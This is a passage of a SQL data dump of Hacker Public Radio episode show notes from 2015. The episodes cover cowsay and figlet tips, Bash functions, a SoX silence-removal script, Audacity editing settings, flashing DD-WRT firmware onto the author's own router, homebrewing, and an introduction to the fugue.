ELSE!\'</code>\r\n</blockquote>\r\n\r\n<p>Result:</p>\r\n\r\n\r\n<pre>\r\n ___________________________________\r\n&lt; record and upload a show OR ELSE! &gt;\r\n -----------------------------------\r\n      \\                    / \\  //\\\r\n       \\    |\\___/|      /   \\//  \\\\\r\n            /0  0  \\__  /    //  | \\ \\    \r\n           /     /  \\/_/    //   |  \\  \\  \r\n           @_^_@\'/   \\/_   //    |   \\   \\ \r\n           //_^_/     \\/_ //     |    \\    \\\r\n        ( //) |        \\///      |     \\     \\\r\n      ( / /) _|_ /   )  //       |      \\     _\\\r\n    ( // /) \'/,_ _ _/  ( ; -.    |    _ _\\.-~        .-~~~^-.\r\n  (( / / )) ,-{        _      `-.|.-~-.           .~         `.\r\n (( // / ))  \'/\\      /                 ~-. _ .-~      .-~^-.  \\\r\n (( /// ))      `.   {            }                   /      \\  \\\r\n  (( / ))     .----~-.\\        \\-\'                 .~         \\  `. \\^-.\r\n             ///.----..&gt;        \\             _ -~             `.  ^-`  ^-_\r\n               ///-._ _ _ _ _ _ _}^ - - - - ~                     ~-- ,.-~\r\n                                                                  /.-~\r\n</pre>\r\n\r\n<p>On Linux, praise <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a> with a Random Cow:</p>\r\n\r\n<blockquote>\r\n<code>echo \'Ahuka Rocks!\' | cowsay -f $(locate *.cow | shuf -n1)</code>\r\n</blockquote>\r\n\r\n<p>One Result:</p>\r\n\r\n<pre>\r\n ______________\r\n< Ahuka Rocks! >\r\n --------------\r\n        \\    ,-^-.\r\n         \\   !oYo!\r\n          \\ /./=\\.\\______\r\n               ##        )\\/\\\r\n                ||-----w||\r\n                ||      ||\r\n\r\n               Cowth Vader\r\n\r\n</pre>\r\n\r\n<h2>Figlet</h2>\r\n\r\n<p>Make ASCII banner text with figlet. This one uses the default font and wraps the lines at 45 characters:\r\n</p>\r\n\r\n<blockquote>\r\n<code>figlet -w 45 &quot;Hacker Public Radio&quot;</code>\r\n</blockquote>\r\n\r\n<p>Result:</p>\r\n\r\n\r\n<pre>\r\n _   _            _             \r\n| | | | __ _  ___| | _____ _ __ \r\n| |_| |/ _` |/ __| |/ / _ \\ \'__|\r\n|  _  | (_| | (__|   <  __/ |   \r\n|_| |_|\\__,_|\\___|_|\\_\\___|_|   \r\n                                \r\n ____        _     _ _      \r\n|  _ \\ _   _| |__ | (_) ___ \r\n| |_) | | | | \'_ \\| | |/ __|\r\n|  __/| |_| | |_) | | | (__ \r\n|_|    \\__,_|_.__/|_|_|\\___|\r\n                            \r\n ____           _ _       \r\n|  _ \\ __ _  __| (_) ___  \r\n| |_) / _` |/ _` | |/ _ \\ \r\n|  _ < (_| | (_| | | (_) |\r\n|_| \\_\\__,_|\\__,_|_|\\___/ \r\n                          \r\n</pre>\r\n\r\n<p>Use an alternate font with <code>-f</code> option:</p>\r\n\r\n<blockquote>\r\n	<code>figlet -f digital &quot;Community News&quot;</code>\r\n</blockquote>\r\n\r\n\r\n<pre>\r\n+-+-+-+-+-+-+-+-+-+ +-+-+-+-+\r\n|C|o|m|m|u|n|i|t|y| |N|e|w|s|\r\n+-+-+-+-+-+-+-+-+-+ +-+-+-+-+\r\n</pre>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>My random <code>cowsay</code> \"is it Friday yet\" page: <a href=\"https://jonkulp.net/iify.html\">https://jonkulp.net/iify.html</a></li>\r\n	<li>Cowsay for Android: <a href=\"https://play.google.com/store/apps/details?id=ch.fixme.cowsay&hl=en\">https://play.google.com/store/apps/details?id=ch.fixme.cowsay&amp;hl=en</a></li>\r\n	<li>cowsay(1) - Linux man page<a href=\"https://linux.die.net/man/1/cowsay\">https://linux.die.net/man/1/cowsay</a></li>\r\n	<li>figlet(6) - Linux man page: <a href=\"https://linux.die.net/man/6/figlet\">https://linux.die.net/man/6/figlet</a></li>\r\n</ul>\r\n',238,0,1,'CC-BY-SA','Linux, scripting, command line, ASCII',0,0,1),
(1757,'2015-04-28','Useful Bash functions',1662,'Some Bash functions that may be of use in your scripts','<h2 id=\"overview\">Overview</h2>\r\n<p>I enjoy writing Bash scripts to solve various problems. In particular I have a number of scripts I use to manage the process of preparing a show for HPR, which I am developing at the moment.</p>\r\n<p>My more complex Bash scripts use a lot of functions to perform the various tasks, and, in the nature of things, some of these functions can be of use in other scripts and are shared between them.</p>\r\n<p>I thought I would share some of these functions with HPR listeners in the hopes that they might be useful. It would also be interesting to receive feedback on these functions and would be great if other Bash users contributed ideas of their own.</p>\r\n<h2 id=\"full-notes\">Full Notes</h2>\r\n<p>Since the notes explaining this subject are long, they have been placed here: <a href=\"https://hackerpublicradio.org/eps/hpr1757_full_shownotes.html\">https://hackerpublicradio.org/eps/hpr1757_full_shownotes.html</a>, and an experimental <em>ePub</em> version is available here: <a href=\"https://hackerpublicradio.org/eps/hpr1757_full_shownotes.epub\">https://hackerpublicradio.org/eps/hpr1757_full_shownotes.epub</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li><em>Bash Support</em> Vim plugin: <a href=\"https://www.vim.org/scripts/script.php?script_id=365\">https://www.vim.org/scripts/script.php?script_id=365</a></li>\r\n<li>HPR episode <em>Bash parameter manipulation</em>: <a href=\"https://hackerpublicradio.org/eps.php?id=1648\">https://hackerpublicradio.org/eps.php?id=1648</a></li>\r\n<li>How to write functions (from <em>The Linux Documentation Project</em>):\r\n<ul>\r\n<li><em>Functions</em>: <a href=\"https://tldp.org/LDP/abs/html/functions.html\">https://tldp.org/LDP/abs/html/functions.html</a></li>\r\n<li><em>Complex Functions and Function Complexities</em>: <a href=\"https://tldp.org/LDP/abs/html/complexfunct.html\">https://tldp.org/LDP/abs/html/complexfunct.html</a></li>\r\n<li><em>Examples of functions in scripts</em>: <a href=\"https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_11_02.html\">https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_11_02.html</a></li>\r\n</ul></li>\r\n<li>Download the <em>pad</em> and <em>yes_no</em> functions: <a href=\"https://hackerpublicradio.org/eps/hpr1757_functions.sh\">https://hackerpublicradio.org/eps/hpr1757_functions.sh</a></li>\r\n</ol>',225,42,1,'CC-BY-SA','coding,Bash,script,function',0,0,1),
(1758,'2015-04-29','Cool Stuff part 3',1543,'CPrompt talks about some more cool stuff for you to check out!','<h3>Radiotopia</h3>\r\n\r\n<p>\r\n<a href=\"https://www.radiotopia.fm/\">https://www.radiotopia.fm/</a>\r\n</p>\r\n<p>\r\nA part of PRX (Public Radio Exchange), they are a collection of story-driven podcasts sponsored in part\r\nby the Knight Foundation.\r\n</p>\r\n<p>\r\nPRX : <a href=\"https://www.prx.org/\">https://www.prx.org/</a>\r\n</p>\r\n<p>\r\nKnight Foundation : <a href=\"https://www.knightfoundation.org\">https://www.knightfoundation.org</a>\r\n</p>\r\n<p>\r\nHeaded up by their flagship podcast 99% Invisible which is based on architecture and design and hosted by \r\nRoman Mars\r\n</p>\r\n\r\n<h3>urxvt256c</h3>\r\n\r\n<p>\r\nrxvt = Roberts XVT.  X = X Window System, VT = VT102 terminal\r\n</p>\r\n<p>\r\nVT Terminal : <a href=\"https://www.en.wikipedia.org/wiki/VT100\">https://www.en.wikipedia.org/wiki/VT100</a>\r\n</p>\r\n<p>\r\nrxvt started as a replacement for xterm.  Written by Rob Nation\r\n<a href=\"https://en.wikipedia.org/wiki/Rxvt\">https://en.wikipedia.org/wiki/Rxvt</a>\r\n</p>\r\n<p>\r\nForked by Marc Lehmann and called rxvt-unicode or urxvt.  \r\nGave features such as transparency, Perl extensions and better font support\r\n<a href=\"https://en.wikipedia.org/wiki/Rxvt-unicode\">https://en.wikipedia.org/wiki/Rxvt-unicode</a>\r\n</p>\r\n<p>\r\nUses the .xdefaults configuration file in your home directory for customizations.\r\n</p>\r\n\r\n<h3>Phil Plait\'s Crash Course Astronomy</h3>\r\n\r\n<p>\r\nAlso known as The Bad Astronomer\r\n</p>\r\n<p>\r\nWikipedia : <a href=\"https://en.wikipedia.org/wiki/Phil_Plait\">https://en.wikipedia.org/wiki/Phil_Plait</a>\r\n</p>\r\n<p>\r\nBlogs at Slate : <a href=\"https://www.slate.com/authors.phil_plait.html\">https://www.slate.com/authors.phil_plait.html</a>\r\n</p>\r\n<p>\r\nTed Talks : <a href=\"https://www.ted.com/speakers/phil_plait\">https://www.ted.com/speakers/phil_plait</a>\r\n</p>\r\n<p>\r\nCrash Course on YouTube:\r\n<a href=\"https://www.youtube.com/playlist?list=PL8dPuuaLjXtPAJr1ysd5yGIyiSFuh0mIL\">https://www.youtube.com/playlist?list=PL8dPuuaLjXtPAJr1ysd5yGIyiSFuh0mIL</a>\r\n</p>',252,0,0,'CC-BY-SA','Radiotopia,urxvt256c,astronomy',0,0,1),
(1759,'2015-04-30','A brief review of Firefox OS',1007,'I recently bought a Geeksphone Revolution and this is my review of running Firefox OS on it.','<p>\r\nThis is phone I\'m using: <a href=\"https://www.geeksphone.com/#the-phone\">https://www.geeksphone.com/#the-phone</a>\r\n</p>\r\n<p>\r\nAnd here are some useful links about Firefox OS:\r\n</p>\r\n<p>\r\nThe marketplace (app store): <a href=\"https://marketplace.firefox.com/\">https://marketplace.firefox.com/</a>\r\n</p>\r\n<p>\r\nThe marketing site: <a href=\"https://www.mozilla.org/en-US/firefox/os/2.0/\">https://www.mozilla.org/en-US/firefox/os/2.0/</a>\r\n</p>\r\n<p>\r\nDeveloper documentation: <a href=\"https://developer.mozilla.org/en-US/Firefox_OS\">https://developer.mozilla.org/en-US/Firefox_OS</a>\r\n</p>',302,0,0,'CC-BY-SA','mobile,firefox,operating system,review',0,0,1),
(1762,'2015-05-05','HPR Audio Book Club 10',7043,'In this episode, the HPR_AudioBookClub reviews Revolution Radio by Seth Kenlon','<h3>SUMMARY</h3>\r\n<p>In this episode, the HPR_AudioBookClub reviews Revolution Radio by Seth Kenlon. You can download this AudioBook for free from <a href=\"https://aesdiopod.com/books/\">https://aesdiopod.com/books/</a>.</p>\r\n<h3>Pre-Spoilers</h3>\r\n<ul>\r\n <li>Thaj: I really loved this book. It hits me in a lot of the right spots as a person. I thought it had a very cinematic feel about it.  I enjoyed the story, but in many ways I enjoyed the world it was set in even more. </li>\r\n <li>x1101: Slow start, but finally builds to a very engaging story exploring many interesting social and political issues</li>\r\n <li>Pokey: Slow start, really liked the story right from the start, but found the setting a little far fetched.</li>\r\n</ul>\r\n<p>We all liked the pace of the story, as well as the reading and the audio quality. Overall this is a very polished work, even though there is some noise intentionally added at times.</p>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As usual, the HPR_AudioBookClub took some time to review the beverages that each of us were drinking during the episode</p>\r\n<ul>\r\n <li>Thaj: I am a sad panda because they grocery store had no lemons to make my AWESOME homemade lemonade.  Unfortunately, I had to resort to pre-made lemonade that tastes like sugar water.  Check this <a href=\"https://www.simplyorangejuice.com/product/lemonade.jsp?WT.srch=1&utm_source=google&utm_medium=cpc&utm_term=simply%20lemonade&utm_campaign=goog_sch_br_brand%20|%20lemonade%20|%20broad\">nutritional information</a></li>\r\n <li>x1101 <a href=\"https://www.dogfish.com/brews-spirits/the-brews/occassional-rarities/120-minute-ipa.htm\">Dogfish head 120 minute IPA</a>This beer has a nice hoppy and citrus nose to it with a smooth, silky mouth feel. This beverage features subtle hoppy notes and a slightly smoky finish. Also, ~15% ABV, so I might have been a touch loopy the rest of the show</li>\r\n <li>Pokey had a Sam Adams Summer Ale. Nice flavor, but not a lot of it. Refreshing with a hint of citrus. Very drinkable, but not mind blowing. I suspect this beer appeals to a wide audience. I\'ve been on more of a \"specialty\" beer kick for a while, so this was almost disapointing.<a href=\"https://www.samueladams.com/craft-beers/summer-ale\">https://www.samueladams.com/craft-beers/summer-ale/</a></li>\r\n</ul>\r\n<h3>Other Links</h3>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Catechism_of_a_Revolutionary\">Catechism of a Revolutionary</a>[Thaj]</li>\r\n</ul>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>Street Candles</strong> by David Collins-Rivera\r\n <br/><a href=\"https://www.cavalcadeaudio.com/stardrifter.html\">https://www.cavalcadeaudio.com/stardrifter.html</a></p>\r\n<p>We\'re still really excited about this AudioBook not only because the author is an HPR community member (lostinbronx), but also because the book is really good! </p>\r\n<p>David Collins-Rivera\'s personal blog: <a href=\"https://www.cavalcadeaudio.com/index.html\">https://www.cavalcadeaudio.com/index.html</a>\r\n <br/>David Collins-Rivera\'s HPR correspondent page: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">https://hackerpublicradio.org/correspondents.php?hostid=107</a></p>\r\n<h3>NEXT RECORDING</h3>\r\n<p>Our next book club recording will be 2014/09/09T23:00:00+00:00. <a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a> If you\'d like a Google calendar invite, or if you\'d like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list \'hpr at hackerpublicradio dot org\'</p>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>. We\'ve been making small adjustments to our audio mix each month in order to get the best possible sound. It\'s been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it\'s not good at making everyone\'s voice the same volume. We\'re pretty happy with the way this month\'s show turned out, so we\'d like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).</p>\r\n<p>Mumble uses a sample rate of 48kHz, but HPR requires a sample rate of 44.1kHz so the first step in our audio process is to resample the file at 44.1kHz. Resampling can take a long time if you don\'t have a powerful computer, and sometimes even if you do. If you record late at night, like we do, you may want to start the task before you go to bed, and save it first thing in the morning, so that the file is ready to go the next time you are.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</p>\r\n <ul>\r\n  <li>Threshold: -30db</li>\r\n  <li>Noise Floor: -50db</li>\r\n  <li>Ratio: 3:1</li>\r\n  <li>Attack Time: 0.2sec</li>\r\n  <li>Decay Time: 1.0 sec</li>\r\n  <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.</p>\r\n<p>At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file\'s metadata. We use the \"Truncate Silence\" effect with its default settings to minimize the silence between people speaking. When used with its default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.</p>\r\n<p>At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.</p>\r\n<p>We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember to save after every major transform, you will wonder how it ever got that reputation.</p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<p>If you liked Pirate Radio, you may also like The movies <a href=\'https://www.imdb.com/title/tt0066434/\'>THX-1137</a>, <a href=\"https://www.imdb.com/title/tt0074812/\">Logan\'s Run</a> or <a href=\"https://www.imdb.com/title/tt0064473/\">The Illustrated Man.</a></p> \r\n<h3>FEEDBACK</h3>\r\n<p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section.\r\n <br/>As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br/>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n<p>1: The HPR_AudioBookClub doesn\'t laugh at anyone for reviewing tea, nor any other drink. We intentionally call the segment a \"beverage review,\" not a \"beer review\" so that no one should feel alienated. Also because some of us drink wine.</p>\r\n<p>2: The HPR_AudioBookClub <i>does</i> laugh when people try to spell flavor with a \"u\"</p>\r\n',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,0,1),
(1763,'2015-05-06','Intro to Homebrewing',1209,'Beer! and the joy of making it.','<p>\r\nI talk a bit about homebrewing, how to do it, what it is, and how to get started. \r\nIf there is interest, I will do more in-depth shows on the topic, otherwise I will let it stand alone. \r\n</p>\r\n\r\n<h3>Links</h3>\r\n\r\n<p>\r\nI ramble on about brewing your own beer. Here are a few internet resources to help you along:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.midwestsupplies.com/\">https://www.midwestsupplies.com/</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/The-Complete-Homebrewing-Fourth-Edition/dp/0062215752\">https://www.amazon.com/The-Complete-Homebrewing-Fourth-Edition/dp/0062215752</a>\r\n</li>\r\n<li><a href=\"https://www.amazon.com/The-Homebrewers-Companion-Charlie-Papazian/dp/0060584734\">https://www.amazon.com/The-Homebrewers-Companion-Charlie-Papazian/dp/0060584734</a>\r\n</li>\r\n<li><a href=\"https://www.homebrewersassociation.org/\">https://www.homebrewersassociation.org/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThis is my first episode ever, so any advice is greatly appreciated. My email is <a href=\"mailto:amneher007@gmail.com\">amneher007@gmail.com</a>\r\n</p>',303,0,1,'CC-BY-SA','brewing, beer, homebrewing',0,0,1),
(1764,'2015-05-07','Introduction to Rogue Class Linux',990,'Rogue Class Linux is a specialty distribution of Linux for playing the old games.','<p>\r\nRogue Class describes itself as \"a toy Linux distribution for playing games and reading books. RCL favors turn-based games, such as puzzles and rogue-like games. \"\r\n</p>\r\n<p>\r\nWhat are Rogue Class games?  According to a link at the Rogue Class website, Rogue Class games  are characterized by\r\n</p>\r\n<p>\r\n<ul>\r\n<li>\"Tactical play. The unit of action is based on the individual adventurer. The game is not twitch oriented (like Quake, rewarding reflexes &amp; well trained actions) nor is it strategy oriented (like Civilizations or Warcraft, requiring working on the large picture)</li>\r\n<li>\"Based in Hack and Slash. A roguelike isn\'t primarily about plot development or telling a story. It is about killing things and acquiring treasure.</li>\r\n<li>\"Random games. A roguelike is a dungeon crawler where no two games are the same. The maps are different, the items are different, there are no guaranteed win paths.</li>\r\n<li>\"Permadeath. You die, that is it. No restoring a savegame. Good roguelikes delete your save game after loading them. This is compensated by the replayability of the game.</li>\r\n<li>\"Complex interactions of properties. While the commands for a roguelike are simple, the potential interactions are not. My favourite example is equipping a silver ring as a weapon in order to damage a creature vulnerable to silver, but not one\'s other weapons. [Editor: This matches the Hack branch of the roguelike tree, not the Angband branch]</li>\r\n<li>\"Steam rolling monsters. If a critter is in your way, and weak, you shouldn\'t even notice it is there.\"</li>\r\n</ul>\r\n</p>\r\n<p>\r\n\r\n(Source:  <a href=\"https://www.zincland.com/powder/?pagename=about\">https://www.zincland.com/powder/?pagename=about</a>)\r\n</p>\r\n<p>\r\nRogue Class contains four dozen or so games, two of which are actually categories which in turn contain additional games, as well as a number of utilities, including a network manager, an IRC client, and more.  Some representative games include the following, picked quite at random:  Angband, Fargoal, Magus, Moria, Nethack, and Tome. \r\n</p>\r\n<p>\r\n\r\nIf you liked the old games, give Rogue Class a spin.\r\n</p>\r\n<p>\r\n\r\nWebsite:   <a href=\"https://rogueclass.org/\">https://rogueclass.org/</a>\r\n</p>\r\n<p>\r\n\r\nThe Rogue Class forum is located at Linux Questions.org: <a href=\"https://www.linuxquestions.org/questions/rogue-class-106/\">https://www.linuxquestions.org/questions/rogue-class-106/</a>\r\n</p>\r\n<p>\r\n\r\nYou can see an interesting chart of Rogue Class\'s graphics subsystems at this link:  \r\n<a href=\"https://www.linuxquestions.org/questions/rogue-class-106/rcl-graphics-sub-systems-4175522637/\">https://www.linuxquestions.org/questions/rogue-class-106/rcl-graphics-sub-systems-4175522637</a>\r\n\r\n</p>\r\n',195,0,1,'CC-BY-SA','games,Rogue Class,gamebooks',0,0,1),
(1766,'2015-05-11','Sox of Silence',616,'Using SOX to speed up and remove silence in a podcast','<p>\r\nMany of you may be aware of the \"truncate silence\" filter in audacity. As I already use SOX to speed up my podcasts, I wanted to see if it could also remove silence as well. While the man page is detailed, it is difficult to follow. <a href=\"https://sox.sourceforge.net/\">https://sox.sourceforge.net/</a>\r\n</p>\r\n<p>\r\nFortunately Jason Navarrete posted an excellent article on digitalcardboard.com called <strong>The SoX of Silence</strong> which went through the process step by step <a href=\"https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/\">https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/</a>\r\n</p>\r\n\r\n<h3>The Script</h3>\r\n<pre>\r\n    # -S, --show-progress\r\n    # -V verbose\r\n    # tempo Change the audio playback speed but not its pitch. \r\n    # remix Select and mix input audio channels into output audio channels. \r\n    # remix - performs a mix-down of all input channels to mono.\r\n    # silence Removes silence from the beginning, middle, or end of the audio.\r\n    # https://digitalcardboard.com/blog/2009/08/25/the-sox-of-silence/\r\n    # \r\n    sox -S -v2 \"${FILENAME}\" \"${FILENAME}-faster-${SPEED}.ogg\" -V9 tempo ${SPEED} remix - silence 1 0.1 1% -1 0.1 1%\r\n</pre>\r\n',30,0,1,'CC-BY-SA','sox, truncate silence',0,0,1),
(1808,'2015-07-08','David Whitman reads \'The Shooting of Dan McGrew\' written by Robert W Service',467,'For his birthday David Whitman recites the Robert W Service ballad, ','<p>\r\nfrom The Project Gutenberg EBook of Songs of a Sourdough, by Robert Service\r\n</p>\r\n<p>\r\nThis eBook is for the use of anyone anywhere at no cost and with\r\nalmost no restrictions whatsoever.  You may copy it, give it away or\r\nre-use it under the terms of the Project Gutenberg License included\r\nwith this eBook or online at <a href=\"https://www.gutenberg.org\">www.gutenberg.org</a>\r\n</p>\r\n<p>\r\nThe orginal work published 1907. Copyright expired in U.S. See the Project Gutenberg website for their copyright notices\r\n</p>\r\n<p>\r\nBibliographic Record<br />\r\nAuthor 	Service, Robert W. (Robert William), 1874-1958<br />\r\nTitle 	Songs of a Sourdough<br />\r\nLanguage 	English<br />\r\nLoC Class 	PR: Language and Literatures: English literature<br />\r\nSubject 	Yukon River Valley (Yukon and Alaska) -- Poetry<br />\r\nCategory 	Text<br />\r\nEBook-No. 	25546<br />\r\nRelease Date 	May 20, 2008<br />\r\nCopyright Status 	Public domain in the USA.<br />\r\nDownloads 	55 downloads in the last 30 days.<br />\r\nPrice 	$0.00\r\n</p>\r\n<p>\r\nTitle: The Spell of the Yukon\r\n</p>\r\n<p>\r\nAuthor: Robert Service\r\n</p>\r\n<p>\r\nPosting Date: July 11, 2008 EBook <a href=\"https://www.gutenberg.org/ebooks/25546\">https://www.gutenberg.org/ebooks/25546</a><br />\r\nRelease Date: January, 1995\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1808_Songs_of_a_Sourdough.pdf\">https://hackerpublicradio.org/eps/hpr1808_Songs_of_a_Sourdough.pdf</a>\r\n</p>\r\n<p>\r\nInteresting Info at <a href=\"https://en.wikipedia.org/wiki/The_Shooting_of_Dan_McGrew\">https://en.wikipedia.org/wiki/The_Shooting_of_Dan_McGrew</a>\r\n</p>',209,0,1,'CC-BY-SA','Poetry, Birthday, Yukon',0,0,1),
(1767,'2015-05-12','An interview with Ed Cable of the Mifos Initiative',704,'David Whitman interviews Ed Cable of the MIFOS Iniative at Linux Fest Northwest on April 25, 2015.','<p>\r\nDavid Whitman interviews Ed Cable of the MIFOS Initiative\r\n<a href=\"https://mifos.org/\">https://mifos.org/</a>\r\n</p>\r\n<p>\r\nFrom their website:\r\nMifos X is an extended platform for delivering the complete range of financial services needed for an effective financial inclusion solution.\r\n</p>\r\n<p>\r\nAs the industrys only open platform for financial inclusion, we provide affordable, adaptable and accessible solutions for any segment of the market, new and small financial institutions can easily start with our community app in a hosted environment, medium and large institutions that are evolving into full-service providers of financial inclusion can use our global network of IT partners to configure a Mifos X solution, and innovators can build and scale entirely new solutions on our API-driven platform.\r\n</p>',209,78,1,'CC-BY-SA','Microfinance, LinuxFest Northwest',0,0,1),
(1774,'2015-05-21','Router Hacking',1190,'A Quick What, Why, and How of Hacking Routers','<h2>Router Hacking</h2>\r\n\r\n<h3>What</h3>\r\n<ul>\r\n    <li>Flashing a router with alternate firmware</li>\r\n</ul>\r\n\r\n<h3>Why</h3>\r\n<ul>\r\n	<li>Provide additional features</li>\r\n	<li>Improve performance</li>\r\n	<li>Privacy (gets rid of <a href=\"https://recode.net/2014/05/18/in-letter-to-obama-cisco-ceo-complains-about-nsa-allegations/\">unwanted spyware</a>)</li>\r\n	<li>Fun</li>\r\n</ul>\r\n\r\n<h3>Where</h3>\r\n<ul>\r\n	<li>The DD-WRT Router Database: <a href=\"https://www.dd-wrt.com/site/support/router-database\">https://www.dd-wrt.com/site/support/router-database</a></li>\r\n	<li>Tomato Firmware for Linksys WRT54G/GL/GS: <a href=\"https://www.polarcloud.com/tomato\">https://www.polarcloud.com/tomato</a></li>\r\n	<li>OpenWRT firmware: <a href=\"https://openwrt.org/\">https://openwrt.org/</a></li>\r\n</ul>\r\n\r\n<h3>How: Steps for My Latest Hack</h3>\r\n<ol type=\"1\">\r\n	<li>Find used Netgear WNDR3400 router on shelf at local <a href=\"https://www.goodwill.org/\">Goodwill</a> store, priced at $3.99.</li>\r\n	<li>Use my smartphone to check the <a href=\"https://www.dd-wrt.com/site/support/router-database\">dd-wrt database</a> to see if this router is hackable.</li>\r\n	<li>Grin broadly upon seeing the green \"Yes\" beside router WNDR3400.</li>\r\n	<li>Double-check that power supply is included, find an AC outlet and plug in to be sure it powers on and my phone sees its ESSID. Yep and yep.</li>\r\n	<li>Take router to cashier and purchase.</li>\r\n	<li>Do hard reset of router to clear any previous configuration.</li>\r\n	<li>Hook a laptop up to router using ethernet patch cable (turning off WiFi adapter on laptop).</li>\r\n	<li>Access router\'s configuration in web browser at default router address of 192.168.1.1 just to confirm that it works.</li>\r\n	<li>Go back to the dd-wrt router database and find the router again, then download the corresponding \"mini\" and the \"mega\" versions of dd-wrt firmware (The mega version has the most features&mdash;including USB support, which I wanted&mdash;but on many routers, including this one,  you have to install the mini version first or else you could brick the router)</li>\r\n	<li>Read over the dd-wrt wiki page for this specific router just to see if there\'s anything unusual about the hack. There\'s not.</li>\r\n	<li>Go to the router\'s stock configuration page again and find the \"Firmware upgrade\" button.</li>\r\n	<li>Click the button and choose the \"mini\" version of the dd-wrt firmware, and click upgrade, then wait while crossing fingers until it says firmware successfully upgraded.</li>\r\n	<li>Refresh the configuration page at 192.168.1.1 and see the new dd-wrt configuration interface.</li>\r\n	<li>Pat myself on the back because I have just hacked another router. Hray!</li>\r\n	<li>Find the upgrade firmware area on the new dd-wrt interface, and this time choose the \"mega\" firmware file and submit, then wait and cross fingers as before. Celebrate when it works. </li>\r\n	<li>Configure newly hacked router as wireless bridge (this is NOT going to be my main router), enable the USB and printer support, hook up our formerly-usb-only printer to the router, and configure household computers to be able to print wirelessly to the newly-networked printer.</li>\r\n	<li>Enjoy kudos from appreciative family.</li>\r\n</ol>\r\n',238,0,0,'CC-BY-SA','Networking, Routers, Printer Setup, dd-wrt, tomato, openwrt',0,0,1),
(1784,'2015-06-04','Intro to the Fugue and the Open Well-Tempered Clavier',1826,'Inspired by the release of the Open Well Tempered-Clavier, I try to explain the Fugue.','<h2>Intro to the Fugue</h2>\r\n\r\n<p>This episode of HPR is inspired by the recent release of a new recording by <a href=\"https://kimiko-piano.com/\">Kimiko Ishizaka</a> of J.S. Bach\'s <a href=\"https://music.kimiko-piano.com/album/bach-well-tempered-clavier-book-1\">Well-Tempered Clavier, Book I</a>. This is a very special recording because it is free and open, licensed to be shared freely forever. The recording was crowdfunded and immediately released with a public license after editing. This allows for legal remixing and sharing, and also makes it perfect for stuff like I do in this episode&mdash;cutting the recordings up for inserting as musical examples and then presenting the whole thing for your listening enjoyment.</p>\r\n\r\n<h2>Full Show Notes</h2>\r\n\r\n<p>Please see the <a href=\"https://hackerpublicradio.org/eps/hpr1784/fullnotes.html\">full show notes</a> for detailed descriptions of the parts of a fugue and a few musical examples as well.</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li>Kimiko Ishizaka\'s Official Website: <a href=\"https://kimiko-piano.com/\">https://kimiko-piano.com/</a></li>\r\n<li>The Open Goldberg Variations: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a></li>\r\n<li>The Open Well Tempered Clavier: <a href=\"https://music.kimiko-piano.com/album/bach-well-tempered-clavier-book-1\">https://music.kimiko-piano.com/album/bach-well-tempered-clavier-book-1</a> </li>\r\n<li>Lady Gaga \"Bad Romance\" Fugue: <a href=\"https://www.youtube.com/watch?v=-bYBJAQ-_24\">https://www.youtube.com/watch?v=-bYBJAQ-_24</a></li>\r\n<li>Miley Cyrus \"Wrecking Ball\" Fugue: <a 